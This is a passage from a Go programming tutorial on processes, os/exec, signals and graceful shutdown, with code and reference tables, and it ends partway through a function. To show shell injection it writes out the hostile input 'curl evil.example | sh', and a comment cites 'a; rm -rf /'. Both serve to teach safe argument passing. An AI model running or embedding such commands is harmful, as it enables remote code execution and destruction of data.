OS Processes, Signals & Graceful Shutdown
"Shutdown gracefully shuts down the server without interrupting any active connections." — Go standard library,
net/http,Server.Shutdowndoc comment (Go 1.27 source)
Summary: A Go service is one operating-system process that other processes talk to with exit codes, pipes and signals; this chapter covers starting children safely with os/exec, receiving signals with os/signal, and the ordered shutdown that turns SIGTERM into finished requests instead of dropped ones. Focus: exec.Command and friends, exit codes, pipes, timeouts and process groups; signal.Notify and signal.NotifyContext; http.Server.Shutdown, readiness gating and worker drains; Kubernetes and systemd kill timers; PID files and flock; GOMAXPROCS in containers; Rlimit; zombies, os.Exit, panic exit code 2; non-root and x/sys/unix. Learning goal: Write a main that starts, runs and stops cleanly under Ctrl-C, systemctl stop and kubectl delete pod, and run child programs without shell injection, hung Wait calls or orphaned grandchildren.
This page owns the process boundary of a Go program. It does not re-teach its neighbours: cancellation and deadlines inside the program are in context, how http.Server handles requests is in net/http, worker pools and errgroup as a concurrency tool are in Worker Pools, Pipelines & errgroup, panics and defer are in Errors, Panic, Recover & Defer, and flags and logging at startup are in CLI Flags, Subcommands, Environment Variables & Logging. The socket side (listeners, SO_REUSEPORT, file-descriptor limits as a kernel topic) is in Ports, Sockets & Connections, and the Kubernetes objects around a pod are in Containers & Kubernetes.
Facts below were checked against the Go 1.27 standard-library source on go.dev (pkg.go.dev returns 403 to scripted fetches), the Go 1.19, 1.20, 1.25 and 1.26 release notes, the Kubernetes and systemd documentation, and signal(7), flock(2), getrlimit(2). Snippets declare go 1.24; everything newer is labelled. They were compiled, vetted and tested with Go 1.27.4 on macOS; the Linux-only parts are marked.
Page map
| If you are looking for | Go to |
|---|---|
| The tables you can memorise in one minute | Everything in one minute |
| Why a service must care about its own death | Why it exists |
Where os/exec, signals and graceful shutdown come from | Where it comes from |
A before/after of a main function | Go |
| Running a program without a shell | exec.Command |
Output, CombinedOutput, Run, Start, Wait | The five ways to run |
ExitError and ExitCode | Exit codes |
StdinPipe, StdoutPipe, deadlocks | Pipes |
Env, Dir, exec.LookPath | Environment, directory, lookup |
Timeouts, Cancel, WaitDelay | Timeouts |
Setpgid, killing child trees | Process groups |
| Zombie processes | Zombies |
| SIGINT, SIGTERM, SIGHUP, SIGKILL, SIGQUIT | Signals |
signal.Notify, signal.NotifyContext | Receiving signals |
| What Ctrl-C does | Ctrl-C |
| Stop accepting, drain, close | Graceful shutdown |
http.Server.Shutdown | Shutdown |
terminationGracePeriodSeconds, preStop, TimeoutStopSec | Orchestrators |
Ordered shutdown with errgroup | Ordered shutdown |
PID files, flock, single instance | PID files and flock |
Daemons, supervisord, systemd | Daemonising |
os.Getpid, runtime.NumCPU, GOMAXPROCS, cgroups | Process info and CPU |
Rlimit, file descriptor limit | Resource limits |
os.Exit, panic, exit code 2 | Exiting |
Non-root, os/user | Non-root |
syscall vs golang.org/x/sys/unix, Windows | syscall and x/sys |
| Reading stdin when piped | stdin |
| Error texts and exit codes | Mechanics |
| Fixes with code | Solving the classic problems |
proc_open, pcntl_signal, FPM reload | For PHP/Laravel developers |
| Monolith to distributed system | In architecture |
| Reproduce it on your machine | Lab |
Everything in one minute
What can happen to your process. Each row is unpacked in the concept catalogue.
| Event | Who sends it | Can Go catch it? | Default if you do nothing | What you should do |
|---|---|---|---|---|
SIGINT (Ctrl-C) | Terminal, kill -INT | Yes | Exit, shell sees 130 | NotifyContext, start graceful shutdown |
SIGTERM | kill, systemd, Kubernetes, docker stop | Yes | Exit, shell sees 143 | Same as SIGINT; this is the production signal |
SIGHUP | Terminal closed, kill -HUP | Yes | Exit | Reload config, or ignore under a supervisor |
SIGQUIT (Ctrl-\) | Terminal, kill -QUIT | Yes | Exit 2 with a goroutine dump | Leave default: it is your debugger |
SIGKILL | Kernel OOM killer, kubelet after grace, kill -9 | No | Dies at once, no defer | Design state to survive it |
SIGSTOP | kill -STOP, debuggers | No | Frozen | Nothing |
SIGPIPE | Write to a closed pipe | Yes | Exit if fd 1 or 2; EPIPE otherwise | Handle EPIPE as an error |
| Panic | Your code | recover only | Exit 2 with a trace | Recover at boundaries, let the rest crash |
The calls you will actually write.
| Need | Call | One-line rule |
|---|---|---|
| Run a program, want stdout | exec.CommandContext(ctx, name, args...).Output() | Never build a shell string |
| Run, want both streams interleaved | CombinedOutput() | Fine for logs, not for parsing |
| Stream in or out | StdinPipe, StdoutPipe, then Start, read, Wait | Wait last, writers in a goroutine |
| Time-limit a child | CommandContext + Cancel + WaitDelay | Set WaitDelay or Wait can hang |
| Kill a child and its children | Setpgid: true then syscall.Kill(-pid, sig) | Negative pid is the group |
| React to a stop request | signal.NotifyContext(ctx, os.Interrupt, syscall.SIGTERM) | One context for the whole program |
| Drain HTTP | srv.Shutdown(ctx) with a fresh timeout context | ErrServerClosed is success |
| Run one copy only | syscall.Flock(fd, LOCK_EX|LOCK_NB) | The kernel releases it on crash |
| Fit the container | Go 1.25+ reads the cgroup CPU limit | Older Go: automaxprocs |
The three timers that end a graceful shutdown.
| Platform | Setting | Default | After it expires |
|---|---|---|---|
| Kubernetes | terminationGracePeriodSeconds | 30 s | SIGKILL to the container |
| systemd | TimeoutStopSec= | DefaultTimeoutStopSec, 90 s | SIGKILL (see KillMode=) |
| Docker | docker stop -t | 10 s (Linux containers) | SIGKILL |
| Your code | Shutdown(ctx) timeout | You choose | Close() cuts connections |
Why it exists
A program that only ever runs in a terminal can die any way it likes. A service is different: it holds half-finished requests, open sockets, queued jobs, a lock in a database and a connection pool, and it is stopped on purpose several times a day (deploys, autoscaling, node drains). Stopping a service is the most common planned failure in production, and the operating system gives you exactly one polite mechanism for it: a signal followed by a timer.
The trade-off is always the same: how long you are willing to wait for in-flight work against how fast the orchestrator needs the slot back.
| Stop immediately | Stop gracefully |
|---|---|
| Fast deploys, simple code | Slower deploys, more code |
| Clients see resets and 502s | Clients see finished responses |
| Half-written files, unacked messages | Flushed logs, committed or released work |
| Needs idempotent clients | Still needs idempotent clients (SIGKILL exists) |
| Right for stateless batch retries | Right for anything holding user requests |
An everyday picture. A restaurant closing for the night. First the "open" sign is turned off (readiness), then the door stops admitting new guests (close the listener), the kitchen finishes the orders already on tables (drain in-flight requests), the cooks wash up (workers drain), and only then the owner locks the cash register (close the database). If the landlord arrives with a crowbar at midnight (SIGKILL), whatever is unfinished is lost.
Three common misunderstandings, up front
- "
deferruns when my program is killed." It does not run onSIGKILL, onos.Exit, or on a fatal runtime error; it runs on a normal return and on a panic that unwinds. - "Ctrl-C stops my program, so
SIGTERMin production is the same." The signal is different, the sender is different and the timer is different; the Go default happens to be the same only until a child process or a PID 1 shell gets involved. - "
exec.Command("sh", "-c", ...)is the easy way to run a command." It is the easy way to get shell injection; passing arguments as separate strings has no shell to inject into.
Where it comes from
Unix introduced signals in the 1970s as the kernel's way to interrupt a process; signal(7) on Linux lists the standard ones and states which cannot be caught. The Go runtime installs its own handlers for them, which is why os/signal exists as a package: it forwards what the runtime received to a channel, and its documentation lists the default behaviour per signal.
os/exec has been in Go since 1.0. Three later changes shape how you write it today: Go 1.19 made exec.Command refuse to run a program found only through a relative PATH entry (exec.ErrDot), Go 1.20 added Cmd.Cancel and Cmd.WaitDelay so a context deadline can do more than Kill the direct child, and Go 1.19 also made programs that import os raise the soft RLIMIT_NOFILE to the hard limit on Unix at startup. signal.NotifyContext arrived in Go 1.16. http.Server.Shutdown arrived in Go 1.8. Go 1.25 made the default GOMAXPROCS respect the cgroup CPU limit on Linux, which retired the main reason to import uber-go/automaxprocs.
On the orchestrator side, Kubernetes documents its pod termination flow (a grace period, a preStop hook, SIGTERM, then SIGKILL) and systemd documents TimeoutStopSec= and KillMode= in systemd.service(5) and systemd.kill(5). Those two documents are the contract your shutdown code is written against.
Go
Before
The typical first main: it blocks in ListenAndServe, and the only way it stops is by being killed.
func main() {
db := openDB()
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil)) // never returns normally; defers never run
db.Close() // unreachable
}After
The same service wired for a clean stop: the full program is below, and its pieces are unpacked in Graceful shutdown and Ordered shutdown.
// Command service wires signals to graceful.Service. Run it, then press
// Ctrl-C or `kill -TERM <pid>` and read the log order.
package main
import (
"context"
"log/slog"
"net"
"net/http"
"os"
"os/signal"
"syscall"
"time"
"academy/os-processes-signals/graceful"
)
func main() {
log := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{
ReplaceAttr: func(groups []string, a slog.Attr) slog.Attr {
if a.Key == slog.TimeKey {
return slog.Attr{} // keep the lab output stable
}
return a
},
}))
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
defer stop()
addr := os.Getenv("ADDR")
if addr == "" {
addr = "127.0.0.1:8080"
}
ln, err := net.Listen("tcp", addr)
if err != nil {
log.Error("listen", "err", err)
os.Exit(1)
}
h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
time.Sleep(2 * time.Second) // a slow request to drain
_, _ = w.Write([]byte("finished\n"))
})
cfg := graceful.Config{DrainDelay: time.Second, ShutdownTimeout: 5 * time.Second, WorkerTimeout: 3 * time.Second}
svc := graceful.New(cfg, log, h, func() error { return nil })
log.Info("listening", "addr", ln.Addr().String(), "pid", os.Getpid())
// Re-arm the default behaviour as soon as shutdown starts: a second
// Ctrl-C then kills the process immediately instead of being swallowed.
go func() { <-ctx.Done(); stop() }()
if err := svc.Run(ctx, ln); err != nil {
log.Error("shutdown", "err", err)
os.Exit(1)
}
log.Info("bye")
}The Go angle
Go gives you the pieces but not the policy: os/exec is a thin, explicit wrapper over fork/execve/wait4; os/signal forwards signals to a channel or a context; http.Server.Shutdown drains one server. Sequencing them, and sizing the timeouts against the orchestrator, is your code. Unlike PHP-FPM, where the FPM master owns worker lifecycle, a Go binary is its own process manager.
The concept catalogue
What a process is Must-know
In plain words: A process is a running program with its own memory, a numeric id (PID), a parent, open files and an exit status that the parent can read when it ends.
Common misunderstanding: "My Go program is the unit the operating system sees." The OS sees one process with many threads; goroutines are invisible to ps. And a process never really disappears until its parent reads its exit status.
Definition: os.Getpid() returns the PID, os.Getppid() the parent's, os.Executable() the path of the running binary. A child created by exec inherits open file descriptors that are not close-on-exec (Go opens files close-on-exec), the environment unless you override it, and the current directory unless Cmd.Dir is set.
parent (pid 100) child (pid 101)
1 cmd.Start() ── fork+execve ──────▶ starts, inherits env, cwd, fds 0,1,2
2 ... runs ... ... runs ...
3 exits with status 3
4 (zombie: only the exit status remains)
5 cmd.Wait() ── wait4 ────────────▶ status read, pid releasedReal scenario: a CI runner shelling out to git, a thumbnail service calling ffmpeg, a backup tool piping pg_dump into gzip, a deploy agent running systemctl.
| Platform | Process creation | Child tree | Signals |
|---|---|---|---|
| Linux | fork+execve (clone), Go uses forkExec | Process groups, sessions, cgroups | All of signal(7) |
| macOS | fork+execve | Process groups, sessions | Same set minus Linux-only |
| Windows | CreateProcess | Job objects (not exposed by os/exec) | Only os.Interrupt via Ctrl-C events |
| FreeBSD | fork+execve | Process groups | BSD set |
Fix / how to use it: print identity once at startup, because every log line from a container looks the same without it.
//go:build linux || darwin
// Package procinfo reports process identity, CPU settings and file
// descriptor limits.
package procinfo
import (
"fmt"
"os"
"os/user"
"runtime"
"syscall"
)
// Info is a snapshot suitable for a startup log line.
type Info struct {
PID int
PPID int
Executable string
UID, GID int
User string
NumCPU int
GOMAXPROCS int
NoFileSoft uint64
NoFileHard uint64
}
// Snapshot collects the facts. runtime.GOMAXPROCS(0) only reads the value.
func Snapshot() (Info, error) {
exe, err := os.Executable()
if err != nil {
return Info{}, err
}
var rl syscall.Rlimit
if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rl); err != nil {
return Info{}, err
}
name := "?"
if u, err := user.Current(); err == nil {
name = u.Username
}
return Info{
PID: os.Getpid(), PPID: os.Getppid(), Executable: exe,
UID: os.Getuid(), GID: os.Getgid(), User: name,
NumCPU: runtime.NumCPU(), GOMAXPROCS: runtime.GOMAXPROCS(0),
NoFileSoft: uint64(rl.Cur), NoFileHard: uint64(rl.Max),
}, nil
}
// RefuseRoot returns an error when the process runs as uid 0.
func RefuseRoot() error {
if os.Geteuid() == 0 {
return fmt.Errorf("refusing to run as root (uid 0); use a dedicated unprivileged user")
}
return nil
}
// RaiseNoFile lifts the soft descriptor limit toward the hard limit, capped at
// ceiling. Go 1.19+ already does this at startup for the os package; the
// function is for programs that want an explicit, logged value.
func RaiseNoFile(ceiling uint64) (uint64, error) {
var rl syscall.Rlimit
if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rl); err != nil {
return 0, err
}
want := uint64(rl.Max)
if want > ceiling {
want = ceiling
}
if uint64(rl.Cur) >= want {
return uint64(rl.Cur), nil
}
rl.Cur = want
if err := syscall.Setrlimit(syscall.RLIMIT_NOFILE, &rl); err != nil {
return 0, err
}
return want, nil
}exec.Command: no shell, no injection Must-know
In plain words: exec.Command("ls", "-l", dir) starts ls directly and hands it each argument as a separate string. There is no shell reading the line, so characters like ;, |, $() and * mean nothing.
Common misunderstanding: "Go's Command runs a command line like a terminal does." It does not: exec.Command("ls -l") looks for a program literally named ls -l and fails with exec: "ls -l": executable file not found in $PATH. Pipes, globs and redirects are shell features, so they do not exist unless you ask for a shell.
Definition: exec.Command(name, arg...) returns a *exec.Cmd; name is resolved with exec.LookPath, arguments become argv[1:]. The shell is involved only if name is sh or bash.
user input: "report.txt; curl evil.example | sh"
exec.Command("cat", input) argv = ["cat", "report.txt; curl evil.example | sh"]
1 execve("cat", argv) -> cat: report.txt; curl evil.example | sh: No such file or directory
2 nothing else runs -> safe
exec.Command("sh", "-c", "cat " + input)
1 sh parses the string -> two commands, then a pipe
2 curl evil.example | sh -> attacker code runs as your userReal scenario: an image-resize endpoint takes a filename from a query string; a webhook handler passes a branch name to git; a report job passes a customer id to psql.
| Pattern | Injection risk | Why |
|---|---|---|
exec.Command("git", "checkout", branch) | Low | No shell; still, a value starting with - is read as a flag |
exec.Command("git", "checkout", "--", branch) | Lowest | -- ends option parsing for most tools |
exec.Command("sh", "-c", "git checkout "+branch) | High | The shell re-parses the string |
exec.Command("sh", "-c", "git checkout \"$1\"", "sh", branch) | Low | The value travels as $1, not as shell text |
exec.Command(userChosenProgram, ...) | High | The user picks what runs; use an allow-list |
Fix / how to use it: pass arguments separately, put -- before values that may start with -, validate against an allow-list, and use the wrapper below, which also applies a timeout and classifies the result. The test file includes a test where the hostile string stays one argument and a test where the shell version really runs the payload.
// Package execrun runs external programs the safe way: no shell, a context
// deadline, and a classified result.
package execrun
import (
"bytes"
"context"
"errors"
"fmt"
"os/exec"
"time"
)
// Result describes how a child process ended.
type Result struct {
Stdout string
Stderr string
ExitCode int // -1 when the process was killed by a signal or never started
TimedOut bool // the context deadline fired before the process exited
}
// ErrNotFound means the program is not on PATH (or not executable).
var ErrNotFound = errors.New("program not found")
// Run executes name with args. The arguments go straight to execve(2): there
// is no shell, so a value such as "a; rm -rf /" is one harmless argument.
func Run(ctx context.Context, timeout time.Duration, name string, args ...string) (Result, error) {
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
cmd := exec.CommandContext(ctx, name, args...)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
// WaitDelay bounds how long Wait lingers on I/O after the process is
// killed, e.g. when a grandchild still holds the pipe open.
cmd.WaitDelay = 2 * time.Second
err := cmd.Run()
res := Result{Stdout: stdout.String(), Stderr: stderr.String(), ExitCode: -1}
var exitErr *exec.ExitError
switch {
case err == nil:
res.ExitCode = 0
return res, nil
case errors.Is(err, exec.ErrNotFound):
return res, fmt.Errorf("%w: %s", ErrNotFound, name)
case errors.Is(ctx.Err(), context.DeadlineExceeded):
res.TimedOut = true
return res, fmt.Errorf("%s: %w", name, context.DeadlineExceeded)
case errors.As(err, &exitErr):
// A non-zero exit is a normal outcome of many programs (grep: 1 = no match).
res.ExitCode = exitErr.ExitCode() // -1 if a signal killed it
return res, nil
default:
return res, fmt.Errorf("run %s: %w", name, err)
}
}
// Resolve returns the absolute path Command would execute. Since Go 1.19 a
// result found only through a relative PATH entry is rejected with exec.ErrDot.
func Resolve(name string) (string, error) {
p, err := exec.LookPath(name)
if err != nil {
return "", fmt.Errorf("%w: %s", ErrNotFound, name)
}
return p, nil
}The five ways to run Must-know
In plain words: Output and CombinedOutput run and collect; Run runs and waits; Start returns at once and Wait collects later.
Common misunderstanding: "Start is enough." Without Wait, the child's exit status is never read, the process stays a zombie, and the pipes and goroutines that Cmd created are never released.
Definition:
| Method | Starts | Waits | Captures | Typical use |
|---|---|---|---|---|
Output() | yes | yes | stdout (stderr into ExitError.Stderr if Stderr is nil) | git rev-parse HEAD |
CombinedOutput() | yes | yes | stdout and stderr in one buffer | Human-readable logs |
Run() | yes | yes | nothing unless you set Stdout/Stderr | mkfs, cp, side effects |
Start() | yes | no | nothing | Long-running children, pipes |
Wait() | no | yes | closes the pipes, reaps | The second half of Start |
Run = Start then Wait
1 cmd.Start() returns once the child exists (errors: not found, permission, fork failure)
2 ... parent does other work, or reads a pipe ...
3 cmd.Wait() blocks until exit AND until the copying goroutines finish
4 cmd.ProcessState exit status, user/system CPU timeReal scenario: Output for a version probe at startup; Start+Wait for a long ffmpeg encode with progress on a pipe; Run for rsync where only success matters.
What goes wrong:
| Mistake | Symptom | Fix |
|---|---|---|
Start without Wait | ps shows Z (defunct), goroutine leak | Always pair; use defer or a goroutine |
Reusing a Cmd | exec: already started | Build a new Cmd per run |
Wait before reading StdoutPipe finishes | Truncated output, file already closed | Read to EOF first, then Wait |
Both Output() and setting Stdout | exec: Stdout already set | Choose one |
| Output of unbounded size | Memory blow-up | Stream to a file or limit with io.LimitReader |
Exit codes and ExitError Must-know
In plain words: A non-zero exit is not a Go error in the sense of "something broke"; for many tools it is an answer (grep returns 1 for "no match"). Go reports it as an *exec.ExitError so you can tell "the program ran and said no" from "the program never ran".
Common misunderstanding: "err != nil means the command failed." It means "not exit status 0, or never started". Branch on the kind of error.
Definition: ExitError.ExitCode() returns the status, and -1 if the process has not exited or was terminated by a signal. ExitError.Stderr holds the tail of stderr when Output() captured it. Errors that are not ExitError mean the process did not run to a status: exec.ErrNotFound (also *fs.PathError for a bad path), a permission error, or a context error.
exit status 0..255 ExitCode() = that value, err = *exec.ExitError for non-zero
killed by signal 9 ExitCode() = -1, ProcessState.Sys().(syscall.WaitStatus).Signal() = SIGKILL
shell reports 128+9 = 137 (that is the shell's view, not the kernel's)| Exit status | Conventional meaning |
|---|---|
| 0 | Success |
| 1 | General error; grep: no match |
| 2 | Misuse of shell builtin; Go: panic or fatal runtime error |
| 126 / 127 | Found but not executable / not found (shells) |
| 128+n | Killed by signal n (shells): 130 SIGINT, 137 SIGKILL, 143 SIGTERM |
Fix / how to use it: the Run function in the snippet above maps these cases: ErrNotFound, timed out, non-zero exit (a normal Result), and killed by a signal (ExitCode -1).
Pipes: stdin and stdout Important
In plain words: A pipe is a bounded buffer between two processes; when it is full the writer blocks, when it is empty the reader blocks.
Common misunderstanding: "I can write all my input first, then read all the output." With a large input, the child fills its stdout pipe, blocks, stops reading its stdin, and your write blocks forever: a deadlock between two processes.
Definition: cmd.StdinPipe() and cmd.StdoutPipe() must be called before Start. Closing the stdin pipe signals EOF to the child. Wait closes the pipes, so it must be called after all reads are done.
parent child (cat)
1 Start()
2 goroutine: write line 1..N ───────▶ reads, writes to stdout pipe
3 main: scan stdout ◀─────── stdout pipe (64 KiB on Linux)
4 goroutine: Close() stdin ───────▶ sees EOF, exits
5 scanner reaches EOF
6 Wait() reaps childReal scenario: feeding rows to psql -c "COPY ... FROM STDIN", compressing with gzip -c, calling jq on a payload, transcoding with ffmpeg -i pipe:0.
// Package pipes streams data through a child process using StdinPipe and
// StdoutPipe, then reaps it with Wait.
package pipes
import (
"bufio"
"context"
"fmt"
"io"
"os/exec"
"strings"
)
// Filter feeds lines to `tr` and returns what it prints. It shows the order
// that avoids deadlock: Start, write in a goroutine, read to EOF, then Wait.
func Filter(ctx context.Context, name string, args []string, lines []string) ([]string, error) {
cmd := exec.CommandContext(ctx, name, args...)
stdin, err := cmd.StdinPipe()
if err != nil {
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
return nil, err
}
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("start %s: %w", name, err)
}
// Writer runs concurrently: if we wrote everything before reading, a big
// input could fill the child's stdout pipe while it blocks on our stdin.
writeErr := make(chan error, 1)
go func() {
_, err := io.WriteString(stdin, strings.Join(lines, "\n")+"\n")
if cerr := stdin.Close(); err == nil { // Close sends EOF to the child
err = cerr
}
writeErr <- err
}()
var out []string
sc := bufio.NewScanner(stdout)
for sc.Scan() {
out = append(out, sc.Text())
}
scanErr := sc.Err()
// Wait must come AFTER all reads from StdoutPipe finish: it closes the pipe.
waitErr := cmd.Wait()
if err := <-writeErr; err != nil {
return out, fmt.Errorf("write stdin: %w", err)
}
if scanErr != nil {
return out, scanErr
}
return out, waitErr
}The test sends 50 000 lines of 100 bytes through cat, which is far beyond any pipe buffer, and it passes only because the writer runs concurrently.
Environment, directory and lookup Important
In plain words: A child sees the environment you give it, runs in the directory you name, and is found on the PATH you have.
Common misunderstanding: "Setting cmd.Env adds a variable." If Env is non-nil it replaces the whole environment; to add, start from os.Environ() (or cmd.Environ(), Go 1.19).
Definition: cmd.Env = append(os.Environ(), "KEY=value"); cmd.Dir is the working directory; exec.LookPath("ffmpeg") returns the absolute path or an error satisfying errors.Is(err, exec.ErrNotFound). Since Go 1.19 a result found only via a relative PATH entry (such as .) returns an error satisfying errors.Is(err, exec.ErrDot).
| Setting | Value | Effect |
|---|---|---|
cmd.Env | nil | Inherits the parent's environment |
cmd.Env | []string{"A=1"} | Child sees only A (no PATH, no HOME) |
cmd.Env | duplicates | The last value of a key wins |
cmd.Dir | "" | Parent's current directory |
cmd.Dir | path | chdir in the child before execve |
cmd.Err | set by Command | Holds the LookPath error; Start returns it |
Fix / how to use it: resolve once at startup with LookPath so a missing ffmpeg fails the deploy, not the first request. Pass secrets through an inherited file descriptor or a mounted file, not through argv, because arguments are visible to every user in ps and in /proc/<pid>/cmdline.
Timeouts: CommandContext, Cancel and WaitDelay Must-know
In plain words: CommandContext kills the child when the context ends; WaitDelay is the second timer that stops Wait from hanging when the kill does not close the pipes.
Common misunderstanding: "The context deadline always returns on time." The context kills the direct child, but if a grandchild inherited the stdout pipe, Wait blocks until that grandchild closes it. Without WaitDelay that can be forever.
Definition: when the context is done, Cmd.Cancel is called (default: Process.Kill()); if WaitDelay is non-zero and the process or its I/O is still not finished after that long, Wait closes the pipes and returns exec.ErrWaitDelay. Setting Cancel to send SIGTERM first gives the child a chance to clean up (Go 1.20).
t=0.0 ctx deadline fires Cancel() runs (SIGTERM to the group)
t=0.0 Wait() still blocked: grandchild holds the pipe
t=2.0 WaitDelay expires pipes closed, Wait returns (err = ErrWaitDelay or the exit error)
t=2.0 escalation: syscall.Kill(-pgid, SIGKILL)Real scenario: a PDF converter that spawns helpers, a CI step that runs make, an image tool that hangs on a corrupt file.
The proctree snippet in the next block combines Cancel (group SIGTERM), WaitDelay and a KillGroup escalation.
Process groups and killing child processes Important
In plain words: A process group is a bag of related processes that can be signalled together. If you start your child in its own group, one kill reaches the child and everything it spawned.
Common misunderstanding: "Killing the child kills its children." It does not: sh -c 'sleep 60 &' leaves sleep running, re-parented to PID 1, after the shell dies.
Definition: to kill child processes together with their descendants, cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} makes the child the leader of a new group whose id equals its PID; syscall.Kill(-pid, sig) signals the whole group (negative pid, see kill(2)). Setsid starts a new session, Pdeathsig (Linux only) asks the kernel to signal the child when the parent dies.
| Field | Platform | Effect |
|---|---|---|
Setpgid: true | Unix | New process group, Pgid 0 means "same as child pid" |
Setsid: true | Unix | New session, no controlling terminal |
Pdeathsig: SIGKILL | Linux | Child dies if the parent thread dies |
Foreground | Unix | Child takes the terminal foreground (interactive programs) |
CreationFlags | Windows | CREATE_NEW_PROCESS_GROUP and friends |
//go:build unix
// Package proctree starts a command in its own process group so the whole
// tree can be signalled, not just the direct child.
package proctree
import (
"context"
"os/exec"
"syscall"
"time"
)
// Command returns a Cmd that
// - runs in a new process group (Setpgid) whose id equals the child's pid,
// - on context cancel sends SIGTERM to the whole group (Cmd.Cancel),
// - and if the tree is still holding I/O open after grace, Wait gives up
// (WaitDelay) and the group receives SIGKILL via KillGroup.
func Command(ctx context.Context, grace time.Duration, name string, args ...string) *exec.Cmd {
cmd := exec.CommandContext(ctx, name, args...)
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
cmd.Cancel = func() error {
// Negative pid addresses the process group, see kill(2).
return syscall.Kill(-cmd.Process.Pid, syscall.SIGTERM)
}
cmd.WaitDelay = grace
return cmd
}
// KillGroup sends SIGKILL to every process in the child's group. It is the
// escalation after SIGTERM was ignored. ESRCH (group already gone) is not an error.
func KillGroup(cmd *exec.Cmd) error {
if cmd.Process == nil {
return nil
}
err := syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
if err == syscall.ESRCH {
return nil
}
return err
}
// Alive reports whether a process with this pid exists (signal 0 only checks).
func Alive(pid int) bool {
err := syscall.Kill(pid, 0)
return err == nil || err == syscall.EPERM
}Careful: a child in its own process group no longer receives the terminal's Ctrl-C (see Ctrl-C); your parent must forward the stop request, which is what Cancel does.
Zombies and Wait Important
In plain words: When a child exits, the kernel keeps a tiny record of its exit status until the parent asks for it. That leftover record is a zombie (Z in ps). It uses a PID slot, not memory or CPU.
Common misunderstanding: "Zombies are killed with kill -9." They are already dead; only the parent calling wait (or the parent exiting, so PID 1 adopts and reaps them) removes them.
Definition: cmd.Wait() (or Process.Wait()) calls wait4. A service that starts children without Wait leaks one PID per child until the PID table fills (fork: retry: Resource temporarily unavailable). In containers, PID 1 must reap orphans: use docker run --init or tini, because a Go binary as PID 1 does not reap grandchildren it did not start.
1 cmd.Start() pid 4242 running
2 child exits ps -o stat= -p 4242 -> Z (zombie)
3 cmd.Wait() wait4 reads the status
4 ps -o stat= -p 4242 -> (empty: pid free)The exitcodes test (imported under Exiting) starts true, polls ps until it shows Z, calls Wait, and asserts the PID is gone.
Signals: what each one means Must-know
In plain words: A signal is a small, asynchronous message the kernel delivers to a process: "stop", "reload", "you wrote to a dead pipe". Most can be intercepted; two cannot.
Common misunderstanding: "kill kills." kill sends a signal; what happens is up to the receiver. kill -9 (SIGKILL) is the one the receiver cannot refuse.
Definition: signal(7) lists the standard signals. In Go, os.Interrupt is SIGINT on every platform; syscall.SIGTERM, SIGHUP, SIGQUIT, SIGKILL exist on Unix.
| Signal | Number (Linux) | Default for a Go program | Catchable | Typical sender |
|---|---|---|---|---|
SIGHUP | 1 | Exit | Yes | Terminal hang-up, config reload convention |
SIGINT | 2 | Exit | Yes | Ctrl-C |
SIGQUIT | 3 | Exit with stack dump (status 2) | Yes | Ctrl-\ |
SIGKILL | 9 | Immediate death | No | OOM killer, kill -9, grace period over |
SIGPIPE | 13 | Exit if on fd 1 or 2, else EPIPE | Yes | Write to a closed pipe |
SIGTERM | 15 | Exit | Yes | Orchestrators, kill |
SIGSTOP | 19 | Stop | No | Debuggers, kill -STOP |
SIGCHLD | 17 | Ignored | Yes | A child changed state |
SIGUSR1 / SIGUSR2 | 10 / 12 | Caught, no action | Yes | Application-defined (log rotation, debug dump) |
| Platform | What os/signal can do |
|---|---|
| Linux, macOS, BSD | The full set above |
| Windows | Only os.Interrupt (Ctrl-C and Ctrl-Break); console close, logoff and shutdown events arrive as syscall.SIGTERM after Notify, but the process is still terminated unless it exits first |
| Plan 9 | Notes instead of signals |
Real scenario: SIGHUP re-reads TLS certificates in nginx-style services; SIGUSR1 dumps goroutines in a debug build; SIGQUIT on a hung service prints every goroutine's stack before exiting with status 2.
Receiving signals: Notify and NotifyContext Must-know
In plain words: Tell the runtime "I want SIGTERM", and it will send it to a channel or cancel a context instead of killing the program.
Common misunderstanding: "An unbuffered channel is fine." The runtime never blocks to deliver a signal: if the channel has no room, the signal is dropped. Use a buffer of at least 1 for Notify, or just use NotifyContext.
Definition: signal.Notify(c, sigs...) registers a channel; signal.Stop(c) unregisters; signal.NotifyContext(parent, sigs...) returns a context cancelled on the first signal, plus a stop function. context.Cause(ctx) returns an error whose text is terminated signal received for SIGTERM. After stop(), the next signal gets the default behaviour (exit) again, which is the standard "press Ctrl-C twice to force" idiom.
1 main: ctx, stop := signal.NotifyContext(ctx, os.Interrupt, SIGTERM)
2 kernel: SIGTERM -> Go runtime handler
3 os/signal: process(sig) -> non-blocking send to every interested channel
4 NotifyContext: cancels ctx with cause "terminated signal received"
5 main: <-ctx.Done() -> begin shutdown, call stop() to restore default for a 2nd signal//go:build unix
// Package signals shows the two ways to receive OS signals in Go.
package signals
import (
"context"
"os"
"os/signal"
"syscall"
)
// ShutdownContext is the modern default: the returned context is cancelled by
// the first SIGINT or SIGTERM. Call stop as soon as you no longer want the
// diversion; after stop, a second Ctrl-C gets Go's default behaviour (exit).
func ShutdownContext(parent context.Context) (ctx context.Context, stop context.CancelFunc) {
return signal.NotifyContext(parent, os.Interrupt, syscall.SIGTERM)
}
// Reloader invokes reload on every SIGHUP until ctx ends. It uses Notify with a
// BUFFERED channel: the runtime never blocks on a slow receiver, it drops the
// signal instead, so an unbuffered channel can lose one.
func Reloader(ctx context.Context, reload func()) {
ch := make(chan os.Signal, 1)
signal.Notify(ch, syscall.SIGHUP)
go func() {
defer signal.Stop(ch)
for {
select {
case <-ch:
reload()
case <-ctx.Done():
return
}
}
}()
}
// Escalate waits for the first signal, runs graceful, and if a SECOND signal
// arrives before graceful returns, calls force. It returns when either finished.
func Escalate(graceful func(), force func()) {
ch := make(chan os.Signal, 2)
signal.Notify(ch, os.Interrupt, syscall.SIGTERM)
